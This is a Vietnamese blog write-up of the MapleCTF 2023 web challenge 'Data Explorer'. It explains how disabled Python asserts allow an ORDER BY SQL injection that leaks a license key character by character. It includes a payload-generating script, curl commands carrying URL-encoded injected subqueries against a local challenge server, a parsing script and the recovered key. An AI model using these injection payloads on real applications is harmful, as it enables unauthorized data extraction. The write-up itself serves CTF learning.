astronaut
Logbook
Web Security • Research • CTF
Menu →
Jan 03, 2026 · Mablectf2023

Data Explorer

Date: July 4, 2023 1:00 PM (EDT)

web

Date: July 4, 2023 1:00 PM (EDT) Status: Not started

Summary

Note

💡 SQL injection, use ORDER BY.

Description

  • Bài này mình không làm được khi giải đang diễn ra. Sau khi giải kết thúc mình đọc writeup và lưu lại theo cách hiểu của mình.

Analyst

  • Đầu tiên đọc source code có thể thấy ngay lỗ hổng SQLi, tuy nhiên bị strict filter nên việc tấn công SQL là không thể.
  • Tuy nhiên, nếu đọc file run.sh sẽ thấy có PYTHONOPTIMIZE=1.

Untitled

  • Đọc qua thì có thể hiểu giá trị này sẽ disable assert trong Python.

Untitled

  • Từ đấy ta có ý tưởng tấn công hàm filter_order mà không cần ASC/DESC.
  • Ý tưởng chính là dùng ORDER BY trên 1 cột phụ để xác định ký tự, và trên 1 cột khác để xác định vị trí trong key của license.
    • Ví dụ: key là abc.

    • Ta có table:

      aaapos
      a1
      a2
      a3
      a4
      a5
      a6
    • Ta ORDER BY substr('abc' || key, 1), pos → mỗi giá trị sẽ được gán theo bảng chữ cái + key:

      aaaposaddition col
      a1a
      a2b
      a3c
      a4a
      a5b
      a6c
    • Sau đó nó sẽ được sort theo addition col, rồi sort theo pos → ta có các ký tự tương ứng theo từng vị trí:

      aaaposaddition col
      a1a
      a4a
      a2b
      a5b
      a3c
      a6c

Exploit

  • Để nhận biết được ký tự nào khi sort ta sẽ cần thêm các row 0-9 + a-f → do đó file create sẽ có 128 + 16 = 144 row.
  • Generate exploit.txt:
with open("exploit.txt", "w+") as f:
  f.write("aaa,pos\n")
  for i in range(1,145):
    f.write(f"a,{i}\n")
  • Tối đa 1 query sẽ có 200 row, mà key là 256 ký tự. Ta cần thực hiện 2 query để lấy hết key. Tuy nhiên khi create bảng sẽ bị redirect và mất 1 query nên ta sẽ dùng curl để không bị redirect.
Note

💡 curl 'http://0.0.0.0:8000/view/686220e0-6aa2-47d2-849d-7cbc2b05799e' --data-raw 'order-col=aaa&order-od=%2C+%28select+substr%28%270123456789abcdef%27+%7C%7C+substr%28key%2C%201%29%2C+pos%2C+1%29+from+license%29%2C+pos' > x.in

Note

💡 curl 'http://0.0.0.0:8000/view/5e8196d3-36e2-405f-bc99-23976cb97845' --data-raw 'order-col=aaa&order-od=%2C+%28select+substr%28%270123456789abcdef%27+%7C%7C+substr%28key%2C%20129%29%2C+pos%2C+1%29+from+license%29%2C+pos' > x.in

  • Code để lấy key. Vì sort theo ký tự trước, sau đó mới đến số thứ tự, nên cần cách nhận biết ký tự nào với ký tự nào. Vì vậy ta sẽ up lên file 144 row thêm 16 ký tự để làm mốc. Dò theo từng mốc là xác định được từng ký tự.
import re
data = open('x.in', 'r').read()
pattern = r'<td>(\d+)</td>'
test = matches = re.findall(pattern, data)
poss = [int(x) for x in test]
abc = '0123456789abcdef'
print(len(abc))
index = 0
d = ['x']*128
print(d)
for pos in poss:
    print(index, pos)
    if index+1 == pos and index<=15:
        index += 1
    else:
        d[pos-17] = abc[index-1]
print("".join(d))

#key: 36d35d32d1c43cfc1d3342d5992f0a9f6b1d32325fc9fb4c640c97ab81ad0b4df8b3232a37aa2aef5d04e501466fa04760fc3b2abf1a076215f8653bf830b568de0c7f103c05c23ca88ef88fb72eeb589ca824c428423a0c1dafffc87cd2d1621d8fcab51a376c9d97cb2016efa034d9ee9cc3f510652ab85ecf20816e0c5453

# 36d35d32d1c43cfc1d3342d5992f0a9f6b1d32325fc9fb4c640c97ab81ad0b4df8b3232a37aa2aef5d04e501466fa04760fc3b2abf1a076215f8653bf830b568de0c7f103c05c23ca88ef88fb72eeb589ca824c428423a0c1dafffc87cd2d1621d8fcab51a376c9d97cb2016efa034d9ee9cc3f510652ab85ecf20816e0c5453

Result

REF

MapleCTF 2023 - Data Explorer